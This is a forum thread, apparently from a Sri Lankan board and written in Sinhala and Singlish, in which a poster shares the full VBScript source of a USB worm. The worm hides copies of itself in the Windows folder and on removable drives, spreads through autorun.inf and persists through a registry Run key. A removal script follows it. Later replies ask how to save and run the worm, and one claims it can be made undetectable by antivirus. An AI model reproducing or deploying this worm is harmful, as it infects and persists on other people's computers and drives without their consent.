Virus(source code)

[dragon3rz]

මේක කට්ටියට වද දුන්න වයිරස් කට්ටක්!ලංකාවෙ සමහර කොල්ලො උඩ පනිනව මේක හොයාගෙන අනිත් අයව අන්දලා පොර වෙනව..මෙක දැනගන්න දමන්නෙ කට්ටියට!


on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,che ck,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe FS6519.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
source=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\FS6519.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\FS6519.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\FS6519.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\FS6519.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\FS6519.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\FS6519.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\FS6519″,winpath&"\FS6519.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","උබට ඹන නම"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

වැඩි විස්තර දමන්නෙ නෑ මම!

 

[dragon3rz]

on error resume next
Set wshshell=wscript.CreateObject("WScript.Shell")
wshshell.Run "CMD /c TaskKill/F /im Wscript.exe /T"
wshshell.Run "TaskKill/F /im Wscript.exe /T"

Set fs=CreateObject("scripting.FileSystemObject")
myWinPath=fs.getSpecialFolder(0)
sFilePathAndName=myWinPath & "/FS6519.dll.vbs"
If fs.FileExists(sFilePathAndName) = True Then
mf=fs.CreateTextFile(sFilePathAndName,true)
mf.attribute = 0
mf.WriteLine("")
mf.Close
fs.DeleteFile sFilePathAndName, True
end if
sFilePathAndName=myWinPath & "/autorun.inf"
If fs.FileExists(sFilePathAndName) = True Then
mf=fs.CreateTextFile(sFilePathAndName,true)
mf.attribute = 0
mf.WriteLine("")
mf.Close
fs.DeleteFile sFilePathAndName, True
end if

For Each fd in fs.drives
If (fd.DriveType=1 or fd.DriveType=2) and fd.path<>"A:" Then
sFilePathAndName=fd.path & "/FS6519.dll.vbs"
If fs.FileExists(sFilePathAndName) = True Then
mf=fs.CreateTextFile(sFilePathAndName,true)
mf.attribute = 0
mf.WriteLine("")
mf.Close
fs.DeleteFile sFilePathAndName, True
end if
sFilePathAndName=fd.path & "/autorun.inf"
If fs.FileExists(sFilePathAndName) = True Then
mf=fs.CreateTextFile(sFilePathAndName,true)
mf.attribute = 0
mf.WriteLine("")
mf.Close
fs.DeleteFile sFilePathAndName, True
end if

end if
Next
Set fs=Nothing

oldVal=wshshell.RegRead("HKLM\software\Microsoft\W indows\CurrentVersion\Run\FS6519","")
If not Err Then
wshshell.RegWrite "HKLM\software\Microsoft\Windows\CurrentVersion\Ru n\FS6519",""
wshshell.RegDelete("HKLM\software\Microsoft\Window s\CurrentVersion\Run\FS6519")
wshshell.RegWrite "HKCU\software\Microsoft\Internet Explorer\Main\Window Title","Microsoft Internet Explorer"
End If

මෙකෙන් මේ බම්බුවෙන් බැට කන එවුන්ට උඩ එක අයින් කර ගන්න පුලුවන්

 

[galleline]

yes oka tikak darunu virus ekak

 

[dragon3rz]

machan

yes oka tikak darunu virus ekak

pissuda ban uba balapan code eka diha line kiyada?awa okkoma therenwane ban...
mage mahindarajapaksha virus eketh code lin 576k thiyanawa

 

[thilina91]

thanx for sharing this. btw what is the virus?

 

[dragon3rz]

machan wedi info denna ba ban mama meka demme kattiyata dena ganna withari

 

[galleline]

pissuda ban uba balapan code eka diha line kiyada?awa okkoma therenwane ban...
mage mahindarajapaksha virus eketh code lin 576k thiyanawa

etin ban me autorun eka maha wadayak ne.. remove karanna danne neti unta

 

[dragon3rz]

yep machan aniwa,balana kastiya bampiyek wath denne na neda?

 

[Razaaa]

yaluwa me script aka save karanne kohomada...?

 

[ushan sampath]

Rep+

 

[dragon3rz]

machan mama meka demme dena ganna witharai oyalata ok

 

[bonji]

yaluwa me script aka save karanne kohomada...?

try to save as .bat file
then tell us the results

 

[Cool Buddy]

Meeka Save Karanna Be. Avast Script Shield 1n Block karanawa. Virus Guard walin ooka Allanawa.

 

[Trix HuNteR1]

try to save as .bat file
then tell us the results

this is not a .bat virus

try to save .vbs

 

[Trix HuNteR1]

Meeka Save Karanna Be. Avast Script Shield 1n Block karanawa. Virus Guard walin ooka Allanawa.

undetectable wenna krama thiyenawa

 

[dragon3rz]

yes machan virus gurd walin block karanawa